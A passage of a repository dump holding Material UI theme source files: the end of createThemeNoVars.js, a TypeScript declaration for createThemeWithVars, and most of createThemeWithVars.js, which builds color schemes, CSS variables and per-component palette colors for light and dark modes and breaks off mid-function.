 }\n  const numbers = str.match(/\\d*\\.?\\d+/g);\n  if (!numbers) {\n    return 0;\n  }\n  let sum = 0;\n  for (let i = 0; i < numbers.length; i += 1) {\n    sum += +numbers[i];\n  }\n  return sum;\n};\n\nfunction attachColorManipulators(theme) {\n  Object.assign(theme, {\n    alpha(color, coefficient) {\n      const obj = this || theme;\n      if (obj.colorSpace) {\n        return `oklch(from ${color} l c h / ${typeof coefficient === 'string' ? `calc(${coefficient})` : coefficient})`;\n      }\n      if (obj.vars) {\n        // To preserve the behavior of the CSS theme variables\n        // In the future, this could be replaced by `color-mix` (when https://caniuse.com/?search=color-mix reaches 95%).\n        return `rgba(${color.replace(/var\\(--([^,\\s)]+)(?:,[^)]+)?\\)+/g, 'var(--$1Channel)')} / ${typeof coefficient === 'string' ? `calc(${coefficient})` : coefficient})`;\n      }\n      return systemAlpha(color, parseAddition(coefficient));\n    },\n    lighten(color, coefficient) {\n      const obj = this || theme;\n      if (obj.colorSpace) {\n        return `color-mix(in ${obj.colorSpace}, ${color}, #fff ${coefficientToPercentage(coefficient)})`;\n      }\n      return systemLighten(color, coefficient);\n    },\n    darken(color, coefficient) {\n      const obj = this || theme;\n      if (obj.colorSpace) {\n        return `color-mix(in ${obj.colorSpace}, ${color}, #000 ${coefficientToPercentage(coefficient)})`;\n      }\n      return systemDarken(color, coefficient);\n    },\n  });\n}\n\nfunction createThemeNoVars(options = {}, ...args) {\n  const {\n    breakpoints: breakpointsInput,\n    mixins: mixinsInput = {},\n    spacing: spacingInput,\n    palette: paletteInput = {},\n    transitions: transitionsInput = {},\n    typography: typographyInput = {},\n    shape: shapeInput,\n    colorSpace,\n    ...other\n  } = options;\n\n  if (\n    options.vars &&\n    // The error should throw only for the root theme creation because user is not allowed to use a custom node `vars`.\n    // `generateThemeVars` is the closest identifier for checking that the `options` is a result of `createTheme` with CSS variables so that user can create new theme for nested ThemeProvider.\n    options.generateThemeVars === undefined\n  ) {\n    throw /* minify-error */ new Error(\n      'MUI: `vars` is a private field used for CSS variables support.\\n' +\n        // #host-reference\n        'Please use another name or follow the [docs](https://next.mui.com/material-ui/customization/css-theme-variables/usage/) to enable the feature.',\n    );\n  }\n\n  const palette = createPalette({ ...paletteInput, colorSpace });\n  const systemTheme = systemCreateTheme(options);\n\n  let muiTheme = deepmerge(systemTheme, {\n    mixins: createMixins(systemTheme.breakpoints, mixinsInput),\n    palette,\n    // Don't use [...shadows] until you've verified its transpiled code is not invoking the iterator protocol.\n    shadows: shadows.slice(),\n    typography: createTypography(palette, typographyInput),\n    transitions: createTransitions(transitionsInput),\n    zIndex: { ...zIndex },\n  });\n\n  muiTheme = deepmerge(muiTheme, other);\n  muiTheme = args.reduce((acc, argument) => deepmerge(acc, argument), muiTheme);\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO v6: Refactor to use globalStateClassesMapping from @mui/utils once `readOnly` state class is used in Rating component.\n    const stateClasses = [\n      'active',\n      'checked',\n      'completed',\n      'disabled',\n      'error',\n      'expanded',\n      'focused',\n      'focusVisible',\n      'required',\n      'selected',\n    ];\n\n    const traverse = (node, component) => {\n      let key;\n\n      // eslint-disable-next-line guard-for-in\n      for (key in node) {\n        const child = node[key];\n        if (stateClasses.includes(key) && Object.keys(child).length > 0) {\n          if (process.env.NODE_ENV !== 'production') {\n            const stateClass = generateUtilityClass('', key);\n            console.error(\n              [\n                `MUI: The \\`${component}\\` component increases ` +\n                  `the CSS specificity of the \\`${key}\\` internal state.`,\n                'You can not override it like this: ',\n                JSON.stringify(node, null, 2),\n                '',\n                `Instead, you need to use the '&.${stateClass}' syntax:`,\n                JSON.stringify(\n                  {\n                    root: {\n                      [`&.${stateClass}`]: child,\n                    },\n                  },\n                  null,\n                  2,\n                ),\n                '',\n                'https://mui.com/r/state-classes-guide',\n              ].join('\\n'),\n            );\n          }\n          // Remove the style to prevent global conflicts.\n          node[key] = {};\n        }\n      }\n    };\n\n    Object.keys(muiTheme.components).forEach((component) => {\n      const styleOverrides = muiTheme.components[component].styleOverrides;\n\n      if (styleOverrides && component.startsWith('Mui')) {\n        traverse(styleOverrides, component);\n      }\n    });\n  }\n\n  muiTheme.unstable_sxConfig = {\n    ...defaultSxConfig,\n    ...other?.unstable_sxConfig,\n  };\n  muiTheme.unstable_sx = function sx(props) {\n    return styleFunctionSx({\n      sx: props,\n      theme: this,\n    });\n  };\n  muiTheme.toRuntimeSource = stringifyTheme; // for Pigment CSS integration\n\n  attachColorManipulators(muiTheme);\n\n  return muiTheme;\n}\n\nexport default createThemeNoVars;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createThemeWithVars.d.ts",
    "content": "import { ThemeOptions, Theme } from './createThemeNoVars';\nimport { Components } from './components';\nimport {\n  DefaultColorScheme,\n  ColorSchemeOverrides,\n  ExtendedColorScheme,\n  SupportedColorScheme,\n  Opacity,\n  Overlays,\n  PaletteBackgroundChannel,\n  PaletteCommonChannel,\n  PaletteColorChannel,\n  PaletteActionChannel,\n  PaletteTextChannel,\n  PaletteAlert,\n  PaletteAppBar,\n  PaletteAvatar,\n  PaletteButton,\n  PaletteChip,\n  PaletteFilledInput,\n  PaletteLinearProgress,\n  PaletteSkeleton,\n  PaletteSlider,\n  PaletteSnackbarContent,\n  PaletteSpeedDialAction,\n  PaletteStepConnector,\n  PaletteStepContent,\n  PaletteSwitch,\n  PaletteTableCell,\n  PaletteTooltip,\n  ColorSystemOptions,\n  CssVarsPalette,\n  ColorSystem,\n  ThemeVars,\n  ThemeCssVarOverrides,\n  ThemeCssVar,\n  CssVarsTheme,\n  Shape,\n  ShapeOptions,\n} from './createThemeFoundation';\n\n// Re-export all types from foundation to maintain backward compatibility\nexport type {\n  DefaultColorScheme,\n  ColorSchemeOverrides,\n  ExtendedColorScheme,\n  SupportedColorScheme,\n  Opacity,\n  Overlays,\n  PaletteBackgroundChannel,\n  PaletteCommonChannel,\n  PaletteColorChannel,\n  PaletteActionChannel,\n  PaletteTextChannel,\n  PaletteAlert,\n  PaletteAppBar,\n  PaletteAvatar,\n  PaletteButton,\n  PaletteChip,\n  PaletteFilledInput,\n  PaletteLinearProgress,\n  PaletteSkeleton,\n  PaletteSlider,\n  PaletteSnackbarContent,\n  PaletteSpeedDialAction,\n  PaletteStepConnector,\n  PaletteStepContent,\n  PaletteSwitch,\n  PaletteTableCell,\n  PaletteTooltip,\n  ColorSystemOptions,\n  CssVarsPalette,\n  ColorSystem,\n  ThemeVars,\n  ThemeCssVarOverrides,\n  ThemeCssVar,\n  CssVarsTheme,\n  Shape,\n  ShapeOptions,\n};\n\nexport interface CssVarsThemeOptions extends Omit<ThemeOptions, 'palette' | 'components'> {\n  /**\n   * The strategy to generate CSS variables\n   *\n   * @example 'media'\n   * Generate CSS variables using [prefers-color-scheme](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-color-scheme)\n   *\n   * @example '.mode-%s'\n   * Generate CSS variables within a class .mode-light, .mode-dark\n   *\n   * @example '[data-mode-%s]'\n   * Generate CSS variables within a data attribute [data-mode-light], [data-mode-dark]\n   */\n  colorSchemeSelector?: 'media' | 'class' | 'data' | string | undefined;\n  /**\n   * Prefix of the generated CSS variables\n   * @default 'mui'\n   */\n  cssVarPrefix?: string | undefined;\n  /**\n   * If `true`, the CSS color-scheme will not be set.\n   * https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\n   * @default false\n   */\n  disableCssColorScheme?: boolean | undefined;\n  /**\n   * If `true`, the CSS relative color will be used.\n   */\n  nativeColor?: boolean | undefined;\n  /**\n   * The selector to generate the global CSS variables (non-color-scheme related)\n   * @default ':root'\n   * @example ':host' // (for shadow DOM)\n   * @see https://mui.com/material-ui/customization/shadow-dom/#3-css-theme-variables-optional\n   */\n  rootSelector?: string | undefined;\n  /**\n   * A function to determine if the key, value should be attached as CSS Variable\n   * `keys` is an array that represents the object path keys.\n   *  Ex, if the theme is { foo: { bar: 'var(--test)' } }\n   *  then, keys = ['foo', 'bar']\n   *        value = 'var(--test)'\n   */\n  shouldSkipGeneratingVar?: ((keys: string[], value: string | number) => boolean) | undefined;\n  /**\n   * @default 'light'\n   */\n  defaultColorScheme?: SupportedColorScheme | undefined;\n  /**\n   * Theme components\n   */\n  components?: Components<Omit<Theme, 'components' | 'palette'> & CssVarsTheme> | undefined;\n  /**\n   * Color schemes configuration\n   */\n  colorSchemes?:\n    | (Partial<Record<DefaultColorScheme, boolean | ColorSystemOptions>> &\n        (ExtendedColorScheme extends string ? Record<ExtendedColorScheme, ColorSystemOptions> : {}))\n    | undefined;\n}\n\n/**\n * Generate a theme base on the options received.\n * @param options Takes an incomplete theme object and adds the missing parts.\n * @param args Deep merge the arguments with the about to be returned theme.\n * @returns A complete, ready-to-use theme object.\n */\nexport default function createThemeWithVars(\n  options?: CssVarsThemeOptions,\n  ...args: object[]\n): Omit<Theme, 'applyStyles'> & CssVarsTheme;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createThemeWithVars.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport { unstable_createGetCssVar as systemCreateGetCssVar, createSpacing } from '@mui/system';\nimport { createUnarySpacing } from '@mui/system/spacing';\nimport {\n  prepareCssVars,\n  prepareTypographyVars,\n  createGetColorSchemeSelector,\n} from '@mui/system/cssVars';\nimport styleFunctionSx, {\n  unstable_defaultSxConfig as defaultSxConfig,\n} from '@mui/system/styleFunctionSx';\n\nimport {\n  private_safeColorChannel as safeColorChannel,\n  private_safeAlpha as safeAlpha,\n  private_safeDarken as safeDarken,\n  private_safeLighten as safeLighten,\n  private_safeEmphasize as safeEmphasize,\n  hslToRgb,\n} from '@mui/system/colorManipulator';\n\nimport createThemeNoVars from './createThemeNoVars';\nimport createColorScheme, { getOpacity, getOverlays } from './createColorScheme';\nimport defaultShouldSkipGeneratingVar from './shouldSkipGeneratingVar';\nimport defaultGetSelector from './createGetSelector';\nimport { stringifyTheme } from './stringifyTheme';\nimport { light, dark } from './createPalette';\n\nfunction assignNode(obj, keys) {\n  keys.forEach((k) => {\n    if (!obj[k]) {\n      obj[k] = {};\n    }\n  });\n}\n\nfunction setColor(obj, key, defaultValue) {\n  if (!obj[key] && defaultValue) {\n    obj[key] = defaultValue;\n  }\n}\n\nfunction toRgb(color) {\n  if (typeof color !== 'string' || !color.startsWith('hsl')) {\n    return color;\n  }\n  return hslToRgb(color);\n}\n\nfunction setColorChannel(obj, key) {\n  if (!(`${key}Channel` in obj)) {\n    // custom channel token is not provided, generate one.\n    // if channel token can't be generated, show a warning.\n    obj[`${key}Channel`] = safeColorChannel(\n      toRgb(obj[key]),\n      `MUI: Can't create \\`palette.${key}Channel\\` because \\`palette.${key}\\` is not one of these formats: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color().` +\n        '\\n' +\n        `To suppress this warning, you need to explicitly provide the \\`palette.${key}Channel\\` as a string (in rgb format, for example \"12 12 12\") or undefined if you want to remove the channel token.`,\n    );\n  }\n}\n\nfunction getSpacingVal(spacingInput) {\n  if (typeof spacingInput === 'number') {\n    return `${spacingInput}px`;\n  }\n  if (\n    typeof spacingInput === 'string' ||\n    typeof spacingInput === 'function' ||\n    Array.isArray(spacingInput)\n  ) {\n    return spacingInput;\n  }\n  return '8px';\n}\n\nconst silent = (fn) => {\n  try {\n    return fn();\n  } catch (error) {\n    // ignore error\n  }\n  return undefined;\n};\n\nexport const createGetCssVar = (cssVarPrefix = 'mui') => systemCreateGetCssVar(cssVarPrefix);\n\nfunction attachColorScheme(colorSpace, colorSchemes, scheme, restTheme, colorScheme) {\n  if (!scheme) {\n    return undefined;\n  }\n  scheme = scheme === true ? {} : scheme;\n  const mode = colorScheme === 'dark' ? 'dark' : 'light';\n  if (!restTheme) {\n    colorSchemes[colorScheme] = createColorScheme({\n      ...scheme,\n      palette: { mode, ...scheme?.palette },\n      colorSpace,\n    });\n    return undefined;\n  }\n  const { palette, ...muiTheme } = createThemeNoVars({\n    ...restTheme,\n    palette: { mode, ...scheme?.palette },\n    colorSpace,\n  });\n  colorSchemes[colorScheme] = {\n    ...scheme,\n    palette,\n    opacity: {\n      ...getOpacity(mode),\n      ...scheme?.opacity,\n    },\n    overlays: scheme?.overlays || getOverlays(mode),\n  };\n  return muiTheme;\n}\n\n/**\n * A default `createThemeWithVars` comes with a single color scheme, either `light` or `dark` based on the `defaultColorScheme`.\n * This is better suited for apps that only need a single color scheme.\n *\n * To enable built-in `light` and `dark` color schemes, either:\n * 1. provide a `colorSchemeSelector` to define how the color schemes will change.\n * 2. provide `colorSchemes.dark` will set `colorSchemeSelector: 'media'` by default.\n */\nexport default function createThemeWithVars(options = {}, ...args) {\n  const {\n    colorSchemes: colorSchemesInput = { light: true },\n    defaultColorScheme: defaultColorSchemeInput,\n    disableCssColorScheme = false,\n    cssVarPrefix = 'mui',\n    nativeColor = false,\n    shouldSkipGeneratingVar = defaultShouldSkipGeneratingVar,\n    colorSchemeSelector: selector = colorSchemesInput.light && colorSchemesInput.dark\n      ? 'media'\n      : undefined,\n    rootSelector = ':root',\n    ...input\n  } = options;\n  const firstColorScheme = Object.keys(colorSchemesInput)[0];\n  const defaultColorScheme =\n    defaultColorSchemeInput ||\n    (colorSchemesInput.light && firstColorScheme !== 'light' ? 'light' : firstColorScheme);\n  const getCssVar = createGetCssVar(cssVarPrefix);\n  const {\n    [defaultColorScheme]: defaultSchemeInput,\n    light: builtInLight,\n    dark: builtInDark,\n    ...customColorSchemes\n  } = colorSchemesInput;\n  const colorSchemes = { ...customColorSchemes };\n  let defaultScheme = defaultSchemeInput;\n\n  // For built-in light and dark color schemes, ensure that the value is valid if they are the default color scheme.\n  if (\n    (defaultColorScheme === 'dark' && !('dark' in colorSchemesInput)) ||\n    (defaultColorScheme === 'light' && !('light' in colorSchemesInput))\n  ) {\n    defaultScheme = true;\n  }\n\n  if (!defaultScheme) {\n    throw /* minify-error */ new Error(\n      `MUI: The \\`colorSchemes.${defaultColorScheme}\\` option is either missing or invalid.`,\n    );\n  }\n\n  // The reason to use `oklch` is that it is the most perceptually uniform color space and widely supported.\n  let colorSpace;\n  if (nativeColor) {\n    colorSpace = 'oklch';\n  }\n\n  // Create the palette for the default color scheme, either `light`, `dark`, or custom color scheme.\n  const muiTheme = attachColorScheme(\n    colorSpace,\n    colorSchemes,\n    defaultScheme,\n    input,\n    defaultColorScheme,\n  );\n\n  if (builtInLight && !colorSchemes.light) {\n    attachColorScheme(colorSpace, colorSchemes, builtInLight, undefined, 'light');\n  }\n\n  if (builtInDark && !colorSchemes.dark) {\n    attachColorScheme(colorSpace, colorSchemes, builtInDark, undefined, 'dark');\n  }\n\n  let theme = {\n    defaultColorScheme,\n    ...muiTheme,\n    cssVarPrefix,\n    colorSchemeSelector: selector,\n    rootSelector,\n    getCssVar,\n    colorSchemes,\n    font: { ...prepareTypographyVars(muiTheme.typography), ...muiTheme.font },\n    spacing: getSpacingVal(input.spacing),\n  };\n\n  Object.keys(theme.colorSchemes).forEach((key) => {\n    const palette = theme.colorSchemes[key].palette;\n\n    const setCssVarColor = (cssVar) => {\n      const tokens = cssVar.split('-');\n      const color = tokens[1];\n      const colorToken = tokens[2];\n      return getCssVar(cssVar, palette[color][colorToken]);\n    };\n\n    // attach black & white channels to common node\n    if (palette.mode === 'light') {\n      setColor(palette.common, 'background', '#fff');\n      setColor(palette.common, 'onBackground', '#000');\n    }\n    if (palette.mode === 'dark') {\n      setColor(palette.common, 'background', '#000');\n      setColor(palette.common, 'onBackground', '#fff');\n    }\n\n    function colorMix(method, color, coefficient) {\n      if (colorSpace) {\n        let mixer;\n        if (method === safeAlpha) {\n          mixer = `transparent ${((1 - coefficient) * 100).toFixed(0)}%`;\n        }\n        if (method === safeDarken) {\n          mixer = `#000 ${(coefficient * 100).toFixed(0)}%`;\n        }\n        if (method === safeLighten) {\n          mixer = `#fff ${(coefficient * 100).toFixed(0)}%`;\n        }\n        return `color-mix(in ${colorSpace}, ${color}, ${mixer})`;\n      }\n      return method(color, coefficient);\n    }\n\n    // assign component variables\n    assignNode(palette, [\n      'Alert',\n      'AppBar',\n      'Avatar',\n      'Button',\n      'Chip',\n      'FilledInput',\n      'LinearProgress',\n      'Skeleton',\n      'Slider',\n      'SnackbarContent',\n      'SpeedDialAction',\n      'StepConnector',\n      'StepContent',\n      'Switch',\n      'TableCell',\n      'Tooltip',\n    ]);\n    if (palette.mode === 'light') {\n      setColor(\n        palette.Alert,\n        'errorColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-error-light') : palette.error.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'infoColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-info-light') : palette.info.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'successColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-success-light') : palette.success.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'warningColor',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.light,\n          0.6,\n        ),\n      );\n      setColor(palette.Alert, 'errorFilledBg', setCssVarColor('palette-error-main'));\n      setColor(palette.Alert, 'infoFilledBg', setCssVarColor('palette-info-main'));\n      setColor(palette.Alert, 'successFilledBg', setCssVarColor('palette-success-main'));\n      setColor(palette.Alert, 'warningFilledBg', setCssVarColor('palette-warning-main'));\n      setColor(\n        palette.Alert,\n        'errorFilledColor',\n        silent(() => palette.getContrastText(palette.error.main)),\n      );\n      setColor(\n        palette.Alert,\n        'infoFilledColor',\n        silent(() => palette.getContrastText(palette.info.main)),\n      );\n      setColor(\n        palette.Alert,\n        'successFilledColor',\n        silent(() => palette.getContrastText(palette.success.main)),\n      );\n      setColor(\n        palette.Alert,\n        'warningFilledColor',\n        silent(() => palette.getContrastText(palette.warning.main)),\n      );\n      setColor(\n        palette.Alert,\n        'errorStandardBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-error-light') : palette.error.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'infoStandardBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-info-light') : palette.info.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'successStandardBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-success-light') : palette.success.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'warningStandardBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.light,\n          0.9,\n        ),\n      );\n      setColor(palette.Alert, 'errorIconColor', setCssVarColor('palette-error-main'));\n      setColor(palette.Alert, 'infoIconColor', setCssVarColor('palette-info-main'));\n      setColor(palette.Alert, 'successIconColor', setCssVarColor('palette-success-main'));\n      setColor(palette.Alert, 'warningIconColor', setCssVarColor('palette-warning-main'));\n      setColor(palette.AppBar, 'defaultBg', setCssVarColor('palette-grey-100'));\n      setColor(palette.Avatar, 'defaultBg', setCssVarColor('palette-grey-400'));\n      setColor(palette.Button, 'inheritContainedBg', setCssVarColor('palette-grey-300'));\n      setColor(palette.Button, 'inheritContainedHoverBg', setCssVarColor('palette-grey-A100'));\n      setColor(palette.Chip, 'defaultBorder', setCssVarColor('palette-grey-400'));\n      setColor(palette.Chip, 'defaultAvatarColor', setCssVarColor('palette-grey-700'));\n      setColor(palette.Chip, 'defaultIconColor', setCssVarColor('palette-grey-700'));\n      setColor(palette.FilledInput, 'bg', 'rgba(0, 0, 0, 0.06)');\n      setColor(palette.FilledInput, 'hoverBg', 'rgba(0, 0, 0, 0.09)');\n      setColor(palette.FilledInput, 'disabledBg', 'rgba(0, 0, 0, 0.12)');\n      setColor(\n        palette.LinearProgress,\n        'primaryBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'secondaryBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'errorBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'infoBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-info-main') : palette.info.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'successBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'warningBg',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Skeleton,\n        'bg',\n        colorSpace\n          ? colorMix(\n              safeAlpha,\n              nativeColor ? getCssVar('palette-text-primary') : palette.text.primary,\n              0.11,\n            )\n          : `rgba(${setCssVarColor('palette-text-primaryChannel')} / 0.11)`,\n      );\n      setColor(\n        palette.Slider,\n        'primaryTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'secondaryTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'errorTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'infoTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-info-main') : palette.info.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'successTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Slider,\n        'warningTrack',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-warning-main') : palette.warning.main,\n          0.62,\n        ),\n      );\n      const snackbarContentBackground = colorSpace\n        ? colorMix(\n            safeDarken,\n            nativeColor ? getCssVar('palette-background-default') : palette.background.default,\n            0.6825,\n          ) // use `0.6825` instead of `0.8` to match the contrast ratio of JS implementation\n        : safeEmphasize(palette.background.default, 0.8);\n      setColor(palette.SnackbarContent, 'bg', snackbarContentBackground);\n      setColor(\n        palette.SnackbarContent,\n        'color',\n        silent(() =>\n          colorSpace ? dark.text.primary : palette.getContrastText(snackbarContentBackground),\n        ),\n      );\n      setColor(\n        palette.SpeedDialAction,\n        'fabHoverBg',\n        safeEmphasize(palette.background.paper, 0.15),\n      );\n      setColor(palette.StepConnector, 'border', setCssVarColor('palette-grey-400'));\n      setColor(palette.StepContent, 'border', setCssVarColor('palette-grey-400'));\n      setColor(palette.Switch, 'defaultColor', setCssVarColor('palette-common-white'));\n      setColor(palette.Switch, 'defaultDisabledColor', setCssVarColor('palette-grey-100'));\n      setColor(\n        palette.Switch,\n        'primaryDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'secondaryDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'errorDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'infoDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-info-main') : palette.info.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'successDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.Switch,\n        'warningDisabledColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-warning-main') : palette.warning.main,\n          0.62,\n        ),\n      );\n      setColor(\n        palette.TableCell,\n        'border',\n        colorMix(\n          safeLighten,\n          safeAlpha(nativeColor ? getCssVar('palette-divider') : palette.divider, 1),\n          0.88,\n        ),\n      );\n      setColor(\n        palette.Tooltip,\n        'bg',\n        colorMix(safeAlpha, nativeColor ? getCssVar('palette-grey-700') : palette.grey[700], 0.92),\n      );\n    }\n    if (palette.mode === 'dark') {\n      setColor(\n        palette.Alert,\n        'errorColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-error-light') : palette.error.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'infoColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-info-light') : palette.info.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'successColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-success-light') : palette.success.light,\n          0.6,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'warningColor',\n        colorMix(\n          safeLighten,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.light,\n          0.6,\n        ),\n      );\n      setColor(palette.Alert, 'errorFilledBg', setCssVarColor('palette-error-dark'));\n      setColor(palette.Alert, 'infoFilledBg', setCssVarColor('palette-info-dark'));\n      setColor(palette.Alert, 'successFilledBg', setCssVarColor('palette-success-dark'));\n      setColor(palette.Alert, 'warningFilledBg', setCssVarColor('palette-warning-dark'));\n      setColor(\n        palette.Alert,\n        'errorFilledColor',\n        silent(() => palette.getContrastText(palette.error.dark)),\n      );\n      setColor(\n        palette.Alert,\n        'infoFilledColor',\n        silent(() => palette.getContrastText(palette.info.dark)),\n      );\n      setColor(\n        palette.Alert,\n        'successFilledColor',\n        silent(() => palette.getContrastText(palette.success.dark)),\n      );\n      setColor(\n        palette.Alert,\n        'warningFilledColor',\n        silent(() => palette.getContrastText(palette.warning.dark)),\n      );\n      setColor(\n        palette.Alert,\n        'errorStandardBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-error-light') : palette.error.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'infoStandardBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-info-light') : palette.info.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'successStandardBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-success-light') : palette.success.light,\n          0.9,\n        ),\n      );\n      setColor(\n        palette.Alert,\n        'warningStandardBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-warning-light') : palette.warning.light,\n          0.9,\n        ),\n      );\n      setColor(palette.Alert, 'errorIconColor', setCssVarColor('palette-error-main'));\n      setColor(palette.Alert, 'infoIconColor', setCssVarColor('palette-info-main'));\n      setColor(palette.Alert, 'successIconColor', setCssVarColor('palette-success-main'));\n      setColor(palette.Alert, 'warningIconColor', setCssVarColor('palette-warning-main'));\n      setColor(palette.AppBar, 'defaultBg', setCssVarColor('palette-grey-900'));\n      setColor(palette.AppBar, 'darkBg', setCssVarColor('palette-background-paper')); // specific for dark mode\n      setColor(palette.AppBar, 'darkColor', setCssVarColor('palette-text-primary')); // specific for dark mode\n      setColor(palette.Avatar, 'defaultBg', setCssVarColor('palette-grey-600'));\n      setColor(palette.Button, 'inheritContainedBg', setCssVarColor('palette-grey-800'));\n      setColor(palette.Button, 'inheritContainedHoverBg', setCssVarColor('palette-grey-700'));\n      setColor(palette.Chip, 'defaultBorder', setCssVarColor('palette-grey-700'));\n      setColor(palette.Chip, 'defaultAvatarColor', setCssVarColor('palette-grey-300'));\n      setColor(palette.Chip, 'defaultIconColor', setCssVarColor('palette-grey-300'));\n      setColor(palette.FilledInput, 'bg', 'rgba(255, 255, 255, 0.09)');\n      setColor(palette.FilledInput, 'hoverBg', 'rgba(255, 255, 255, 0.13)');\n      setColor(palette.FilledInput, 'disabledBg', 'rgba(255, 255, 255, 0.12)');\n      setColor(\n        palette.LinearProgress,\n        'primaryBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-primary-main') : palette.primary.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'secondaryBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-secondary-main') : palette.secondary.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'errorBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-error-main') : palette.error.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'infoBg',\n        colorMix(safeDarken, nativeColor ? getCssVar('palette-info-main') : palette.info.main, 0.5),\n      );\n      setColor(\n        palette.LinearProgress,\n        'successBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-success-main') : palette.success.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.LinearProgress,\n        'warningBg',\n        colorMix(\n          safeDarken,\n          nativeColor ? getCssVar('palette-warning-main') : palette.warning.main,\n          0.5,\n        ),\n      );\n      setColor(\n        palette.Skeleton,\n        'bg',\n        colorSpace\n          ? colorMix(\n              safeAlpha,\n              nativeColor ? getCssVar('palette-text-primary') : palette.text.primary,\n              0.13,\n            )\n          : `rgba(${setCssVarColor('palette-text-primaryChannel')} / 0.13)`,\n      );\n      